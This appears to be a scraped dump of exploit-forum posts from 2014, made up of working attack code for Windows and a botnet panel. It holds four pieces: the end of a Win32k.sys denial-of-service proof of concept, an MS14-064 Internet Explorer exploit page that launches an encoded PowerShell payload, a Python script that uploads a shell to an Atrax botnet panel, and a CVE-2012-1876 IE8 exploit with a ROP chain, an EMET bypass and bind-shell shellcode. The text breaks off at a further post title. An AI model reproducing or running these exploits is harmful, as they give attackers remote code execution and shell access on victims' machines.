    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(input));
}
  
LRESULT CALLBACK HookProc(
    int nCode,
    WPARAM wParam,
    LPARAM lParam)
{
    if (nCode == HSHELL_WINDOWACTIVATED && hTargetMenuWnd != NULL)
    {
        return SendMessage(hTargetMenuWnd, 0x1E3, 0, 0);
    }
  
    return 0;
}
  
VOID CALLBACK WinEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD event,
    HWND hWnd,
    LONG idObject,
    LONG idChild,
    DWORD idEventThread,
    DWORD dwmsEventTime)
{
    ++MenuLevel;
          
    if (MenuLevel == 1)
    {
        KeyEvent();
    }
    else if (MenuLevel == 2)
    {
        SetWindowsHookEx(WH_SHELL, HookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
              
        hTargetMenuWnd = hWnd;
        SendMessage(hTargetMenuWnd, 0x1F2, 0, 0);
    }
}
  
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_COMMAND:
        if (LOWORD(wParam) == BSOD_BUTTON)
        {
            SetWinEventHook(
                EVENT_SYSTEM_MENUPOPUPSTART,
                EVENT_SYSTEM_MENUPOPUPSTART,
                GetModuleHandleA(NULL),
                WinEventProc,
                GetCurrentProcessId(),
                GetCurrentThreadId(),
                WINEVENT_OUTOFCONTEXT);
  
            TrackPopupMenuEx(hMenu[0], 0, 20, 20, hWnd, NULL);
        }
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProcA(hWnd, message, wParam, lParam);
    }
  
    return 0;
}
  
int APIENTRY WinMain(
    _In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ PSTR lpCmdLine,
    _In_ int nCmdShow)
{
    WNDCLASSA Class;
    Class.style = 0;
    Class.lpfnWndProc = WndProc;
    Class.cbClsExtra = 0;
    Class.cbWndExtra = 0;
    Class.hInstance = GetModuleHandleA(NULL);
    Class.hIcon = NULL;
    Class.hCursor = LoadCursor(0, IDC_ARROW);
    Class.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    Class.lpszMenuName = NULL;
    Class.lpszClassName = "MyWinClass";
  
    if (RegisterClassA(&Class) != NULL)
    {
        HWND hMainWnd = CreateWindowA(
            "MyWinClass",
            "Microsoft Windows Win32k.sys Denial of Service Vulnerability",
            WS_POPUPWINDOW | WS_BORDER | WS_CAPTION | WS_VISIBLE,
            0, 0, 500, 200,
            NULL,
            NULL,
            hInstance,
            NULL);
  
        if (hMainWnd != NULL)
        {
            HWND hButton = CreateWindowA(
                "Button",
                "Click me to see BSOD",
                WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
                150, 50, 200, 50,
                hMainWnd,
                (HMENU)BSOD_BUTTON,
                hInstance,
                NULL);
          
            if (hButton != 0)
            {
                hMenu[0] = CreatePopupMenu();
                hMenu[1] = CreatePopupMenu();
                hMenu[2] = CreatePopupMenu();
  
                AppendMenuA(hMenu[0], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[1], "1");
                AppendMenuA(hMenu[1], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[2], "1");
                AppendMenuA(hMenu[2], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)0, "1");
  
                MSG msg;
                while (GetMessage(&msg, NULL, 0, 0))
                {
                    TranslateMessage(&msg);
                    DispatchMessage(&msg);
                }
            }
        }
    }
      
    return 0;
}
Microsoft Internet Explorer
ID: 67686ba3b4103b69df379d2c
Thread ID: 25506
Created: 2014-11-23T21:26:02+0000
Last Post: 2014-12-01T12:31:21+0000
Author: DarckSol
Prefix: Remote
Replies: 1 Views: 1K

Microsoft Internet Explorer OLE Pre-IE11 automation array remote code execution / powershell VirtualAlloc MS14-064 exploit.

Click to expand...

Code:Copy to clipboard

<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
 
<pre>
|--------------------------------------------------------------------------|
| Title: OLE Automation Array Remote Code Execution => Pre IE11            |
| Original Exploit: yuange - http://www.exploit-db.com/exploits/35229/     |
| Rework: GradiusX (francescomifsud@gmail.com ) & b33f (@FuzzySec)         |
| Shellcode: Use the Veil-Framework, powershell/shellcode_inject/virtual   |
| Usage:  http://www.fuzzysecurity.com/exploits/21.html                    |
|--------------------------------------------------------------------------|
   Very nice black-magic yuange, don't think it went unnoticed that you 
     have been popping shells since 2009 :D  人无千日好,花无百日红         
|--------------------------------------------------------------------------|
</pre>
 
<script LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
 
'powershell/shellcode_inject/virtual --> windows/messagebox title='Ooops!'  text='Powershell FTW!'
payload="nVVdi9tGFH33rxiMHmzWWkYafTlmIWlDIVBCYZf2wfhhNBp1RWXJyHLqTZv/Xp1jXzfbvIS+zOed+3HOuVLg1IN6O59t37fth/2hH8bF/A8/dL418X3VtvPlTh1OZds4dRztOE3+PE736kM3/jIO6tdmGE+2fde2vVtcz/5cqVPTjep8nV+u8+fl5n/H+XHwdvRPz9NUSZzT1e+nlfo38nX1VezryX+j74+f3DB+T+y93x/9uPjW862q+dtZ0E9Avquq8Onl4FU4vSn98N7XTdeMTd+pwKnwo917Nf+t6Uw8V2E37Y4H67ziyU+nzsHyqMKDPR7H5+E0C84PQf/mzSuQ9UqfI60xmcuU6OVGbX94Gf12twuOYFSfSzvdlH4a0nIaqnoadIIVLlyF1XoacpzFGGoMKS5MBBPcllglsZylKYJjq82rbYFtjkApAhl4qfkC0YpSVjHs4mIaMgwWMTy8aHhxGOIMDnKY4FmSSwZJJsUweIwzywwAQoZVBWODojOcFTDJnJwlWEUImaDUAsYOrjTfOkGIzwxWDsVERA0mKbOiSSaQlE5KveCSSvYpb1lbJdmXpAu5WJpoiaFRVpRL4uQjIUwstbxFY/kwsYDTYlsjhkdZa+bCisj+WgAzRnJ2GGwsbGVWmPYwyZBLgUA1TNbEvhQCclwUMI5g5wrRCzN1pTAdZVJvokV6eSyuCCLR1dRfLtjTAcVAOC0c+FpqIy4+kVwuNFqhlgjVTgjInZCca8GgYBp4VuFF4UQ5OR0QXSNxHTmHcU2VYIi8SI89UxIrbD1u4/WtNmoSkBhkmhYiM4vBpcJ5iQvKu85EFvRiE8mAqbFXSRnB1kic3UN0CbZln99WFu7ZW449SEKtaCjLhWn2L+kmRwwUkW6qCTGo3UKLQBLYsY+ocSJOV57y5rckFm1UbNhYZMZ+uxBAV6mwcOkPwnnrvALD2kjlbGIWQyFlN6kwe4LNXiCDrJJvK0rUCKamlEDUGnEhySlQ44cxgtOMRaeSqXUiH34izVoqj9zqa53WVJi5VamFClYZ10xoM6v7QS2C5kFvgkaFrZ82R3f/s+9+H5/DaDmd3t0t1V/48F//PNvLr2e3CM73T/20MfFieRc0y5Wanm6DZrdS0VL9rfrTGHantt18mQWf+et49d+cEloF5xUm/DIeRzuM4WPr/UGFj971XaXwZ9H6Hw=="
 
command="Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(""""" & chr(34) & payload & chr(34) & """"")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
 
params="-NoP -NonI -Exec Bypass -Command " & command
 
'Original POC yuange
'set shell=createobject("Shell.Application")
'shell.ShellExecute "notepad.exe"
 
'With UAC
'shell.ShellExecute "powershell", params, "", "runas", 0
 
'Without UAC
shell.ShellExecute "powershell", params, "", "", 0
 
end function
</script>
 
<script LANGUAGE="VBScript">
  
dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray
 
Begin()
 
function Begin()
  On Error Resume Next
  info=Navigator.UserAgent
 
  if(instr(info,"Win64")>0)   then
     exit   function
  end if
 
  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))  
  else
     exit   function 
              
  end if
 
  win9x=0
 
  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
 
     if(intVersion<4) then
         document.write("
 IE")
         document.write(intVersion)
         runshellcode()                   
     else 
          setnotsafemode()
     end if
  end if
end function
 
function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function
 
function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)    
       Create=True
       Exit For
    End If
  Next
end function
 
sub testaa()
end sub
 
function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2) 
   
     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314
 
     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310 
     mydata=aa(a1)
     redim  Preserve aa(a0) 
end function
 
 
function setnotsafemode()
    On Error Resume Next
    i=mydata() 
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134) 
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0         
              redim  Preserve aa(a2)            
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0) 
 
     j=0
              j=readmemo(i+&h120+k)  
          
               Exit for
           end if
 
    next
    ab(2)=1.69759663316747E-313
    runmumaa()
end function
 
function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
   
    redim  Preserve aa(a0)
    redim   ab(a0)    
   
    redim  Preserve aa(a2)
   
    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10
           
    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16            
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then   
                 If(IsObject(aa(a1)) = False ) Then            
                   type1=VarType(aa(a1))
                 end if              
              end if
           else
             redim  Preserve aa(a0)
             exit  function
 
           end if
        else
           if(vartype(aa(a1-1))<>0)  Then   
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if              
            end if
        end if
    end if
               
     
    If(type1=&h2f66) Then        
          Over=True     
    End If 
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If 
 
    redim  Preserve aa(a0)         
         
end function
 
function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2) 
   
    ab(0)=0  
    aa(a1)=add+4    
    ab(0)=1.69759663316747E-313      
    ReadMemo=lenb(aa(a1)) 
    
    ab(0)=0   
  
    redim  Preserve aa(a0)
end function
 
</script>
 
</body>
</html>
Atrax Botnet Shell Upload Vulnerability
ID: 67686ba3b4103b69df379d2d
Thread ID: 25513
Created: 2014-11-25T07:01:03+0000
Last Post: 2014-11-25T07:01:03+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

import random
import string
import base64
import urllib
import urllib2

payload = '

'
url = 'http://localhost/atrax/'

BOT_MODE_INSERT = 'b' # BOT MODE
BOT_MODE_RUNPLUGIN = 'e'
GET_PARAM_MODE = 'a' # GET PARAM
POST_PARAM_GUID = 'h' # POST PARAM
POST_PARAM_IP = 'i'
POST_PARAM_BUILDID = 'j'
POST_PARAM_PC = 'k'
POST_PARAM_OS = 'l'
POST_PARAM_ADMIN = 'm'
POST_PARAM_CPU = 'n'
POST_PARAM_GPU = 'o'
POST_PARAM_PLUGINNAME = 'q'

def request(url, get, post):
if not get == '':
url += '?' + get
encoded = {}
if not post == '':
for _ in post.split('&'):
data = _.split('=')
encoded[data[0]] = data[1]
encoded = urllib.urlencode(encoded)
request = urllib2.Request(url, encoded)
response = urllib2.urlopen(request)
page = response.read()
return page

def queryValue(key, value, next=True):
ret = key + '=' + value
if next:
ret += '&'
return ret

def randomString(length = 8):
return ''.join(random.choice(string.ascii_lowercase + string.digits) for i in range(length))

def createVictim(url, guid, ip):
get = queryValue(GET_PARAM_MODE, BOT_MODE_INSERT, False)
post = queryValue(POST_PARAM_GUID, guid)
post += queryValue(POST_PARAM_IP, ip)
post += queryValue(POST_PARAM_BUILDID, randomString())
post += queryValue(POST_PARAM_PC, randomString())
post += queryValue(POST_PARAM_OS, randomString())
post += queryValue(POST_PARAM_ADMIN, 'yes')
post += queryValue(POST_PARAM_CPU, randomString())
post += queryValue(POST_PARAM_GPU, randomString(), False)
return request(url + 'auth.php', get, post)

def exploit(url, guid, ip, file, payload):
get = queryValue(GET_PARAM_MODE, BOT_MODE_RUNPLUGIN, False)
post = queryValue(POST_PARAM_PLUGINNAME, 'atraxstealer')
post += queryValue(POST_PARAM_GUID, guid)
post += queryValue(POST_PARAM_IP, ip)
post += queryValue('am', randomString())
post += queryValue('ad', file)
post += queryValue('ab', base64.b64encode(payload))
post += queryValue('ai', '18', False)
request(url + 'auth.php', get, post)

def testExploit(url, guid, ip):
file = randomString() + '.php'
payload = ''
exploit(url, guid, ip, file, payload)
return request(url + 'plugins/atraxstealer/wallet/' + file, '', '').strip() == '1337'

guid = '7461707a7461707a7461707a7461707a'
ip = '91.224.13.103'
file = randomString() + '.php'
if createVictim(url, guid, ip).strip() == 'STOP':
print '[ - ] Cannot create victim...'
else:
print '[~] Victim created/updated...'
if testExploit(url, guid, ip):
exploit(url, guid, ip, file, payload)
print '[ + ] Exploit uploaded!'
print '=> ' + url + 'plugins/atraxstealer/wallet/' + file
else:
print '[ - ] Cannot upload payload, maybe the plugin is not actived?'

5B392419ED66B470 1337day.com [2014-11-25] FBC91F70D3DB92AB

Click to expand...

Internet Explorer 8 - Fixed Col Span ID Full ASLR
ID: 67686ba3b4103b69df379d2e
Thread ID: 25492
Created: 2014-11-19T09:06:58+0000
Last Post: 2014-11-19T09:06:58+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

<!--
** Internet Explorer 8 Fixed Col Span ID full ASLR, DEP and EMET 5.1 bypass
** Exploit Coded by sickness || EMET 5.1 bypass by ryujin
** http://www.offensive-security.com/vulndev/disarming-and-bypassing-emet-5-1/
** Affected Software: Internet Explorer 8
** Vulnerability: Fixed Col Span ID
** CVE: CVE-2012-1876
** Tested on Windows 7 (x86) - IE 8.0.7601.17514 & EMET 5.1
-->
  
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>
  
function strtoint(str) {
        return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
  
var free = "EEEE";
while ( free.length < 500 ) free += free;
  
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
  
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
  
var fr = new Array();
var al = new Array();
var bl = new Array();
  
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
  
for (var i=0; i < 500; i+=2) {
        fr[i] = free.substring(0, (0x100-6)/2);
        al[i] = string1.substring(0, (0x100-6)/2);
        bl[i] = string2.substring(0, (0x100-6)/2);
        var obj = document.createElement("button");
        div_container.appendChild(obj);
}
  
for (var i=200; i<500; i+=2 ) {
        fr[i] = null;
        CollectGarbage();
}
  
function heapspray(cbuttonlayout) {
    CollectGarbage();
    var rop = cbuttonlayout + 4161; // RET
    var rop = rop.toString(16);
    var rop1 = rop.substring(4,8);
    var rop2 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 11360; // POP EBP
    var rop = rop.toString(16);
    var rop3 = rop.substring(4,8);
    var rop4 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 111675; // XCHG EAX,ESP
    var rop = rop.toString(16);
    var rop5 = rop.substring(4,8);
    var rop6 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 12377; // POP EBX
    var rop = rop.toString(16);
    var rop7 = rop.substring(4,8);
    var rop8 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 642768; // POP EDX
    var rop = rop.toString(16);
    var rop9 = rop.substring(4,8);
    var rop10 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 12201; // POP ECX --> Changed
    var rop = rop.toString(16);
    var rop11 = rop.substring(4,8);
    var rop12 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 5504544; // Writable location
    var rop = rop.toString(16);
    var writable1 = rop.substring(4,8);
    var writable2 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 12462; // POP EDI
    var rop = rop.toString(16);
    var rop13 = rop.substring(4,8);
    var rop14 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 12043; // POP ESI --> changed
    var rop = rop.toString(16);
    var rop15 = rop.substring(4,8);
    var rop16 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 63776; // JMP EAX
    var rop = rop.toString(16);
    var jmpeax1 = rop.substring(4,8);
    var jmpeax2 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 85751; // POP EAX
    var rop = rop.toString(16);
    var rop17 = rop.substring(4,8);
    var rop18 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 4936; // VirtualProtect()
    var rop = rop.toString(16);
    var vp1 = rop.substring(4,8);
    var vp2 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]
    var rop = rop.toString(16);
    var rop19 = rop.substring(4,8);
    var rop20 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 234657; // PUSHAD
    var rop = rop.toString(16);
    var rop21 = rop.substring(4,8);
    var rop22 = rop.substring(0,4); // } RET
  
  
    var rop = cbuttonlayout + 408958; // PUSH ESP
    var rop = rop.toString(16);
    var rop23 = rop.substring(4,8);
    var rop24 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 2228408; // POP ECX
    var rop = rop.toString(16);
    var rop25 = rop.substring(4,8);
    var rop26 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 1586172; // POP EAX
    var rop = rop.toString(16);
    var rop27 = rop.substring(4,8);
    var rop28 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 1589179; // MOV EAX,DWORD PTR [EAX]
    var rop = rop.toString(16);
    var rop29 = rop.substring(4,8);
    var rop30 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 1884912; // PUSH EAX
    var rop = rop.toString(16);
    var rop31 = rop.substring(4,8);
    var rop32 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 2140694; // ADD EAX,ECX
    var rop = rop.toString(16);
    var rop33 = rop.substring(4,8);
    var rop34 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 2364867; // MOV DWORD PTR [EAX],ECX
    var rop = rop.toString(16);
    var rop35 = rop.substring(4,8);
    var rop36 = rop.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 1816868; // MOV DWORD PTR DS:[ESI],EAX
    var rop = rop.toString(16);
    var rop37 = rop.substring(4,8);
    var rop38 = rop.substring(0,4); // } RET
  
    var getmodulew = cbuttonlayout + 4840; // GetModuleHandleW
    var getmodulew = getmodulew.toString(16);
    var getmodulew1 = getmodulew.substring(4,8);
    var getmodulew2 = getmodulew.substring(0,4); // } RET
  
    var rop = cbuttonlayout + 3621437; // MOV EAX,EDX
    var rop = rop.toString(16);
    var rop41 = rop.substring(4,8);
    var rop42 = rop.substring(0,4); // } RET
  
    var shellcode = unescape("%u4444");
    while (shellcode.length < 100)
        shellcode = shellcode + shellcode;
        var shellcode = shellcode.substr(0, 46);
  
    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN
    shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN
  
    // EMET disable part 0x01 annihilate ROP protections
    // Implement the Tachyon detection grid to overcome the Romulan cloaking device.
    shellcode+= unescape("%u"+rop27+"%u"+rop28);    // POP EAX # RETN
    shellcode+= unescape("%u"+getmodulew1+"%u"+getmodulew2);    // GetModuleHandleW Ptr
    shellcode+= unescape("%u"+rop29+"%u"+rop30);    // MOV EAX,DWORD PTR [EAX] # RETN
    shellcode+= unescape("%u"+rop31+"%u"+rop32);    // PUSH EAX # RETN
    shellcode+= unescape("%u"+rop25+"%u"+rop26);    // POP ECX # RETN
    shellcode+= unescape("%u5f3c%u07d2");           // EMET_STRING_PTR (GetModuleHandle argument)
    shellcode+= unescape("%u7372%u0006");           // Offset to "decoding helper" 0x67372
    shellcode+= unescape("%u"+rop33+"%u"+rop34);    // ADD EAX,ECX # RETN (Get the address of the "decoding helper")
    shellcode+= unescape("%u"+rop3+"%u"+rop4);      // POP EBP # RETN
    shellcode+= unescape("%u5e84%u07d2");           // Set EBP to successfully return from the "decoding helper"
    shellcode+= unescape("%u"+rop31+"%u"+rop32);    // PUSH EAX # RETN  Call the "decoding helper"
    shellcode+= unescape("%u0000%u0000");           // Compensate for function epilogue
    shellcode+= unescape("%u0000%u0000");           // Compensate for function epilogue
    shellcode+= unescape("%u0000%u0000");           // Compensate for function epilogue
    shellcode+= unescape("%u0000%u0000");           // Compensate for function epilogue
    shellcode+= unescape("%u"+rop41+"%u"+rop42);    // MOV EAX,EDX # RETN
    shellcode+= unescape("%u"+rop15+"%u"+rop16);    // POP ESI # RETN
    shellcode+= unescape("%u5f38%u07d2");           // MEM_ADDRESS_PTR (Store CONFIG_STRUCT here for later on)
    shellcode+= unescape("%u"+rop37+"%u"+rop38);    // MOV DWORD PTR DS:[ESI],EAX
    shellcode+= unescape("%u"+rop25+"%u"+rop26);    // POP ECX # RETN
    shellcode+= unescape("%u01b8%u0000");           // offset to NtProtectVirtualMemory unhooked
    shellcode+= unescape("%u"+rop33+"%u"+rop34);    // ADD EAX,ECX # RETN (Get the address of NtProtectVirtualMemory)
    shellcode+= unescape("%u"+rop29+"%u"+rop30);    // MOV EAX,DWORD PTR [EAX] # RETN
    shellcode+= unescape("%u"+rop31+"%u"+rop32);    // PUSH EAX # RETN
    shellcode+= unescape("%u"+rop27+"%u"+rop28);    // POP EAX # RETN
    shellcode+= unescape("%uffff%uffff");           // ProcessHandle
    shellcode+= unescape("%u5f38%u07d2");           // *BaseAddress
    shellcode+= unescape("%u5f34%u07d2");           // NumberOfBytesToProtect
    shellcode+= unescape("%u0040%u0000");           // NewAccessProtection
    shellcode+= unescape("%u5f30%u07d2");           // OldAccessProtection
    shellcode+= unescape("%u5f38%u07d2");           // Reget pointer
    shellcode+= unescape("%u"+rop29+"%u"+rop30);    // MOV EAX,DWORD PTR [EAX] # RETN
    shellcode+= unescape("%u"+rop25+"%u"+rop26);    // POP ECX # RETN
    shellcode+= unescape("%u0558%u0000");           // Offset to EMET mitigations switch
    shellcode+= unescape("%u"+rop33+"%u"+rop34);    // ADD EAX,ECX # RETN
    shellcode+= unescape("%u"+rop25+"%u"+rop26);    // POP ECX # RETN
    shellcode+= unescape("%u0000%u0000");           // NULL
    shellcode+= unescape("%u"+rop35+"%u"+rop36);    // MOV DWORD PTR [EAX],ECX # RETN
  
    // Performing a standard Kumeh maneuver ... (VirtualProtect mona chain)
    shellcode+= unescape("%u"+rop3+"%u"+rop4);      // POP EBP
    shellcode+= unescape("%u"+rop3+"%u"+rop4);      // POP EBP
    shellcode+= unescape("%u"+rop7+"%u"+rop8);      // POP EBX
    shellcode+= unescape("%u1024%u0000");           // Size 0x00001024
    shellcode+= unescape("%u"+rop9+"%u"+rop10);     // POP EDX
    shellcode+= unescape("%u0040%u0000");           // 0x00000040
    shellcode+= unescape("%u"+rop11+"%u"+rop12);    // POP ECX
    shellcode+= unescape("%u"+writable1+"%u"+writable2);  // Writable Location
    shellcode+= unescape("%u"+rop13+"%u"+rop14);    // POP EDI
    shellcode+= unescape("%u"+rop1+"%u"+rop2);      // RET
    shellcode+= unescape("%u"+rop15+"%u"+rop16);    // POP ESI
    shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2);// JMP EAX
    shellcode+= unescape("%u"+rop17+"%u"+rop18);    // POP EAX
    shellcode+= unescape("%u"+vp1+"%u"+vp2);        // VirtualProtect()
    shellcode+= unescape("%u"+rop19+"%u"+rop20);    // MOV EAX,DWORD PTR DS:[EAX]
    shellcode+= unescape("%u"+rop21+"%u"+rop22);    // PUSHAD
    shellcode+= unescape("%u"+rop23+"%u"+rop24);    // PUSH ESP
  
    // Store various pointers here
    shellcode+= unescape("%u9090%u9090");           // NOPs
    shellcode+= unescape("%u9090%u18eb");           // NOPs
    shellcode+= unescape("%u4242%u4242");           // OldAccessProtection
    shellcode+= unescape("%u0564%u0000");           // Size for NtVirtualProtectMemory
    shellcode+= unescape("%u4141%u4141");           // Store BaseAddress address on the *stack*
    shellcode+= "EMET";                             // EMET string
    shellcode+= unescape("%u0000%u0000");           // EMET string
    shellcode+= unescape("%u9090%u9090");           // NOPs
    shellcode+= unescape("%u9090%u9090");           // NOPs
    // Store various pointers here
  
    // EMET disable part 0x02 annihilate EAF/EAF+ by calling NtSetContextThread
    // MOV     EAX,DWORD PTR DS:[076D10BCH]
    // MOV     EAX,DWORD PTR DS:[007D25F48H]
    // MOV     ESI,DWORD PTR [EAX+518H]
    // SUB     ESP,2CCH
    // MOV     DWORD PTR [ESP],10010H
    // MOV     EDI,ESP
    // MOV     ECX,2CCH
    // ADD     EDI,4
    // SUB     ECX,4
    // XOR     EAX,EAX
    // REP STOS BYTE PTR ES:[EDI]
    // PUSH    ESP
    // PUSH    0FFFFFFFEH
    // CALL    ESI
    shellcode+= unescape("%u38a1%ud25f%u8b07%u18b0%u0005%u8100%uccec" +
                         "%u0002%uc700%u2404%u0010%u0001%ufc8b%uccb9" +
                         "%u0002%u8300%u04c7%ue983%u3304%uf3c0%u54aa" +
                         "%ufe6a%ud6ff");
    shellcode+= unescape("%u9090%u9090");           // NOPs
    shellcode+= unescape("%u9090%u9090");           // NOPs
    // EMET disable part 0x02 end
  
    // Bind shellcode on 4444 :)
    // msf > generate -t js_le
    // windows/shell_bind_tcp - 342 bytes
    // http://www.metasploit.com
    // VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,
    // EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
    // I would keep the shellcode the same size for better reliability :)
  
    shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +
                             "%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +
                             "%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +
                             "%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +
                             "%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +
                             "%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +
                             "%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +
                             "%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
                             "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +
                             "%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +
                             "%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +
                             "%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +
                             "%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +
                             "%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +
                             "%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +
                             "%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +
                             "%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +
                             "%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +
                             "%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +
                             "%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +
                             "%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +
                             "%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +
                             "%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +
                             "%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +
                             "%u006a%uff53%u41d5");
  
    // Total spray should be 1000
    var padding = unescape("%u9090");
    while (padding.length < 1000)
        padding = padding + padding;
    var padding = padding.substr(0, 1000 - shellcode.length);
  
    shellcode+= padding;
  
    while (shellcode.length < 100000)
        shellcode = shellcode + shellcode;
  
    var onemeg = shellcode.substr(0, 64*1024/2);
  
    for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
    }
  
    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
  
    var spray = new Array();
  
    for (i=0; i<100; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
    }
}
  
function leak(){
        var leak_col = document.getElementById("132");
        leak_col.width = "41";
        leak_col.span = "19";
}
  
function get_leak() {
        var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
        str_addr = str_addr - 1410704;
        var hex = str_addr.toString(16);
        //alert(hex);
        setTimeout(function(){heapspray(str_addr)}, 50);
}
  
function trigger_overflow(){
        var evil_col = document.getElementById("132");
        evil_col.width = "1312272"; // 0x07D25E40
        evil_col.span = "44";
}
  
setTimeout(function(){leak()}, 400);
setTimeout(function(){get_leak()},450);
setTimeout(function(){trigger_overflow()}, 700);
  
</script>
</body>
</html>
MS Office 2007 and 2010
ID: 67686ba3b4103b69df379d2f
